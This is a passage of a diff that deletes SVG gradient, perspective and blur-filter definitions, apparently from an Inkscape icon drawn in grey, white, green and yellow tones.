-       id="Grey-6">
-      <stop
-         id="stop6655-7"
-         offset="0"
-         style="stop-color:#6f6f6f;stop-opacity:1" />
-      <stop
-         id="stop6657-7"
-         offset="1"
-         style="stop-color:#ececec;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BorderWhite-4">
-      <stop
-         id="stop3211-0"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213-6"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-4"
-       id="linearGradient4241"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.95764042,0,0,0.97112052,14.566924,5.1737075)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.86227"
-       y2="45.168201" />
-    <linearGradient
-       id="White-4">
-      <stop
-         id="stop3225-7"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227-4"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <inkscape:perspective
-       id="perspective4261-4"
-       inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
-       inkscape:vp_z="1 : 0.5 : 1"
-       inkscape:vp_y="0 : 1000 : 0"
-       inkscape:vp_x="0 : 0.5 : 1"
-       sodipodi:type="inkscape:persp3d" />
-    <linearGradient
-       id="Grey-7">
-      <stop
-         id="stop6655-1"
-         offset="0"
-         style="stop-color:#6f6f6f;stop-opacity:1" />
-      <stop
-         id="stop6657-1"
-         offset="1"
-         style="stop-color:#ececec;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BorderWhite-7">
-      <stop
-         id="stop3211-04"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213-0"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-5"
-       id="linearGradient4241-8"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.95764042,0,0,0.97112052,14.566924,5.1737075)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.86227"
-       y2="45.168201" />
-    <linearGradient
-       id="White-5">
-      <stop
-         id="stop3225-1"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227-6"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <inkscape:perspective
-       id="perspective4388"
-       inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
-       inkscape:vp_z="1 : 0.5 : 1"
-       inkscape:vp_y="0 : 1000 : 0"
-       inkscape:vp_x="0 : 0.5 : 1"
-       sodipodi:type="inkscape:persp3d" />
-    <linearGradient
-       id="White-6">
-      <stop
-         id="stop3225-70"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227-48"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Grey-4">
-      <stop
-         id="stop6655-8"
-         offset="0"
-         style="stop-color:#6f6f6f;stop-opacity:1" />
-      <stop
-         id="stop6657-16"
-         offset="1"
-         style="stop-color:#ececec;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BorderWhite-8">
-      <stop
-         id="stop3211-5"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213-2"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-6"
-       id="linearGradient4464"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.95764042,0,0,0.97112052,14.564942,5.1851466)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.86227"
-       y2="45.168201" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Grey-4"
-       id="linearGradient4467"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.98019298,0,0,1.0045952,6.8536543,3.1669646)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.22476"
-       y2="40.684059" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-8"
-       id="linearGradient4469"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.98019298,0,0,1.0045952,6.8536543,3.1669646)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.22476"
-       y2="40.684059" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient5252"
-       x1="356.09998"
-       y1="76.634369"
-       x2="354.5397"
-       y2="49.027554"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.97408585,0,0,0.95939758,8.8856883,2.4809692)" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient5260"
-       x1="355.75763"
-       y1="76.003799"
-       x2="354.23779"
-       y2="49.517887"
-       gradientUnits="userSpaceOnUse" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient5274"
-       x1="333"
-       y1="68"
-       x2="332.1875"
-       y2="60"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(1.0072781,0,0,1.0072781,-11.944995,6.6913866)" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient5286"
-       x1="342.27344"
-       y1="72.84375"
-       x2="341.57031"
-       y2="65.21875"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(1.0612863,0,0,1.0612863,-7.8979568,-6.7321308)" />
-    <inkscape:perspective
-       id="perspective6381"
-       inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
-       inkscape:vp_z="1 : 0.5 : 1"
-       inkscape:vp_y="0 : 1000 : 0"
-       inkscape:vp_x="0 : 0.5 : 1"
-       sodipodi:type="inkscape:persp3d" />
-    <filter
-       inkscape:collect="always"
-       id="filter7744-07"
-       x="-0.024728786"
-       width="1.0494576"
-       y="-0.43547523"
-       height="1.8709505"
-       color-interpolation-filters="sRGB">
-      <feGaussianBlur
-         inkscape:collect="always"
-         stdDeviation="2.5402722"
-         id="feGaussianBlur7746-46" />
-    </filter>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Grey-0"
-       id="linearGradient6111"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(1,0,0,1.0026734,0.006505,10.364619)"
-       x1="109.77364"
-       y1="223.0867"
-       x2="100.08942"
-       y2="43.081623" />
-    <linearGradient
-       id="Grey-0">
-      <stop
-         id="stop6655-7-1"
-         offset="0"
-         style="stop-color:#6f6f6f;stop-opacity:1" />
-      <stop
-         id="stop6657-3"
-         offset="1"
-         style="stop-color:#ececec;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-86"
-       id="linearGradient6113"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.2911313,0,0,5.438824,-1651.6622,-173.42115)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.07443"
-       y2="41.733761" />
-    <linearGradient
-       id="BorderWhite-86">
-      <stop
-         id="stop3211-9"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213-3"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-3"
-       id="linearGradient6108"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.2686779,0,0,5.4065317,-1643.9925,-171.49926)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.94287"
-       y2="45.043301" />
-    <linearGradient
-       id="White-3">
-      <stop
-         id="stop3225-1-6"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227-6-8"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Green-2"
-       id="linearGradient6103"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1779.3148,-217.96494)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.43396"
-       y2="42.305012" />
-    <linearGradient
-       id="Green-2">
-      <stop
-         id="stop3256-2"
-         offset="0"
-         style="stop-color:#009100;stop-opacity:1" />
-      <stop
-         id="stop2446-4"
-         offset="0.69886363"
-         style="stop-color:#9ade00;stop-opacity:1" />
-      <stop
-         id="stop3259-1"
-         offset="1"
-         style="stop-color:#ccff42;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6105"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1779.3148,-217.96494)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.43396"
-       y2="42.305012" />
-    <linearGradient
-       id="BorderGreen-2">
-      <stop
-         id="stop4075-4"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop4077-8"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6100"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.5578641,0,0,6.4642453,-1743.3552,-270.42554)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       id="Yellow-8">
-      <stop
-         id="stop4134-8"
-         offset="0"
-         style="stop-color:#fced00;stop-opacity:1;" />
-      <stop
-         id="stop4136-4"
-         offset="1"
-         style="stop-color:#ffffa5;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6412"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1779.3148,-217.96494)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.43396"
-       y2="42.305012" />
-    <linearGradient
-       id="linearGradient6414">
-      <stop
-         id="stop6416"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6418"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient6092"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.02849,226.3701)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       id="White-2">
-      <stop
-         id="stop3225-9"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227-486"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient6094"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.02849,226.3701)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       id="BorderWhite-1">
-      <stop
-         id="stop3211-52"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213-4"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Green-2"
-       id="linearGradient6087"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,237.83563,228.37295)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="41.889908" />
-    <linearGradient
-       id="linearGradient6429">
-      <stop
-         id="stop6431"
-         offset="0"
-         style="stop-color:#009100;stop-opacity:1" />
-      <stop
-         id="stop6433"
-         offset="0.69886363"
-         style="stop-color:#9ade00;stop-opacity:1" />
-      <stop
-         id="stop6435"
-         offset="1"
-         style="stop-color:#ccff42;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6089"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,237.83563,228.37295)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="41.889908" />
-    <linearGradient
-       id="linearGradient6438">
-      <stop
-         id="stop6440"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6442"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6084"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.28810237,0,0,0.29403244,243.57902,231.24121)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       id="linearGradient6445">
-      <stop
-         id="stop6447"
-         offset="0"
-         style="stop-color:#fced00;stop-opacity:1;" />
-      <stop
-         id="stop6449"
-         offset="1"
-         style="stop-color:#ffffa5;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6451"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,237.83563,228.37295)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="41.889908" />
-    <linearGradient
-       id="linearGradient6453">
-      <stop
-         id="stop6455"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6457"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient6075"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30372,168.84497)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       id="linearGradient6462-0">
-      <stop
-         id="stop6464"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop6466"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient6077"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30372,168.84497)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       id="linearGradient6469">
-      <stop
-         id="stop6471"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop6473"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Green-2"
-       id="linearGradient6070"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85188,168.57694)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="43.442505" />
-    <linearGradient
-       id="linearGradient6476">
-      <stop
-         id="stop6478"
-         offset="0"
-         style="stop-color:#009100;stop-opacity:1" />
-      <stop
-         id="stop6480"
-         offset="0.69886363"
-         style="stop-color:#9ade00;stop-opacity:1" />
-      <stop
-         id="stop6482"
-         offset="1"
-         style="stop-color:#ccff42;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6072"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85188,168.57694)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="43.442505" />
-    <linearGradient
-       id="linearGradient6485">
-      <stop
-         id="stop6487"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6489"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6067"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.44606397,0,0,0.47271632,189.56044,168.3137)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       id="linearGradient6492">
-      <stop
-         id="stop6494"
-         offset="0"
-         style="stop-color:#fced00;stop-opacity:1;" />
-      <stop
-         id="stop6496"
-         offset="1"
-         style="stop-color:#ffffa5;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6498"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85188,168.57694)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="43.442505" />
-    <linearGradient
-       id="linearGradient6500">
-      <stop
-         id="stop6502"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6504"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-0"
-       id="linearGradient6058"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,115.82248,97.284339)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       id="White-0">
-      <stop
-         id="stop3225-5"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227-4-4"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-2"
-       id="linearGradient6060"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,115.82248,97.284339)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       id="BorderWhite-2">
-      <stop
-         id="stop3211-1"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213-5"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Green-2"
-       id="linearGradient6053"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,104.59449,93.139115)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="44.056812" />
-    <linearGradient
-       id="linearGradient6517">
-      <stop
-         id="stop6519"
-         offset="0"
-         style="stop-color:#009100;stop-opacity:1" />
-      <stop
-         id="stop6521"
-         offset="0.69886363"
-         style="stop-color:#9ade00;stop-opacity:1" />
-      <stop
-         id="stop6523"
-         offset="1"
-         style="stop-color:#ccff42;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6055"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,104.59449,93.139115)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="44.056812" />
-    <linearGradient
-       id="linearGradient6526">
-      <stop
-         id="stop6528"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6530"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient5278"
-       gradientUnits="userSpaceOnUse"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845"
-       gradientTransform="matrix(0.64522272,0,0,0.67161988,121.46286,93.884952)" />
-    <linearGradient
-       id="linearGradient6533">
-      <stop
-         id="stop6535"
-         offset="0"
-         style="stop-color:#fced00;stop-opacity:1;" />
-      <stop
-         id="stop6537"
-         offset="1"
-         style="stop-color:#ffffa5;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6539"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,104.59449,93.139115)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="44.056812" />
-    <linearGradient
-       id="linearGradient6541">
-      <stop
-         id="stop6543"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop6545"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       y2="44.056812"
-       x2="336.3204"
-       y1="72.4375"
-       x1="338.75"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,104.59449,93.139115)"
-       gradientUnits="userSpaceOnUse"
-       id="linearGradient6571"
-       xlink:href="#BorderGreen-2"
-       inkscape:collect="always" />
-    <linearGradient
-       y2="44.056812"
-       x2="336.3204"
-       y1="72.4375"
-       x1="338.75"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,104.59449,93.139115)"
-       gradientUnits="userSpaceOnUse"
-       id="linearGradient6573"
-       xlink:href="#BorderGreen-2"
-       inkscape:collect="always" />
-    <linearGradient
-       y2="43.442505"
-       x2="336.34955"
-       y1="72.4375"
-       x1="338.75"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85188,168.57694)"
-       gradientUnits="userSpaceOnUse"
-       id="linearGradient6575"
-       xlink:href="#BorderGreen-2"
-       inkscape:collect="always" />
-    <linearGradient
-       y2="41.889908"
-       x2="336.61227"
-       y1="72.4375"
-       x1="338.75"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,237.83563,228.37295)"
-       gradientUnits="userSpaceOnUse"
-       id="linearGradient6577"
-       xlink:href="#BorderGreen-2"
-       inkscape:collect="always" />
-    <linearGradient
-       y2="42.305012"
-       x2="337.43396"
-       y1="72.4375"
-       x1="338.75"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1779.3148,-217.96494)"
-       gradientUnits="userSpaceOnUse"
-       id="linearGradient6579"
-       xlink:href="#BorderGreen-2"
-       inkscape:collect="always" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6867"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1776.4705,-221.95269)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.43396"
-       y2="42.305012" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6870"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.5578641,0,0,6.4642453,-1740.5109,-274.41329)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient6873"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1776.4705,-221.95269)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.07861"
-       y2="46.431705" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient6875"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1776.4705,-221.95269)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.07861"
-       y2="46.431705" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-3"
-       id="linearGradient6878"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.2686779,0,0,5.4065317,-1641.1482,-175.48701)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.94287"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Grey-0"
-       id="linearGradient6881"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(1,0,0,1.0026734,2.850789,6.376868)"
-       x1="109.77364"
-       y1="223.0867"
-       x2="100.08942"
-       y2="43.081623" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-86"
-       id="linearGradient6883"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.2911313,0,0,5.438824,-1648.8179,-177.4089)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.07443"
-       y2="41.733761" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6887"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="44.056812" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6890"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.64522272,0,0,0.67161988,120.30714,89.897201)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient6893"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient6895"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-0"
-       id="linearGradient6898"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,114.66676,93.296588)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-2"
-       id="linearGradient6900"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,114.66676,93.296588)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6904"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.69616,170.58919)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="43.442505" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6907"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.44606397,0,0,0.47271632,189.40472,170.32595)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient6910"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85241,168.43294)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient6912"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85241,168.43294)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient6915"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30425,168.70097)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient6917"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30425,168.70097)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderGreen-2"
-       id="linearGradient6921"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="41.889908" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Yellow-8"
-       id="linearGradient6924"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.28810237,0,0,0.29403244,244.4233,231.25346)"
-       x1="352.75"
-       y1="77.436737"
-       x2="350.41159"
-       y2="53.643845" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient6927"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient6929"
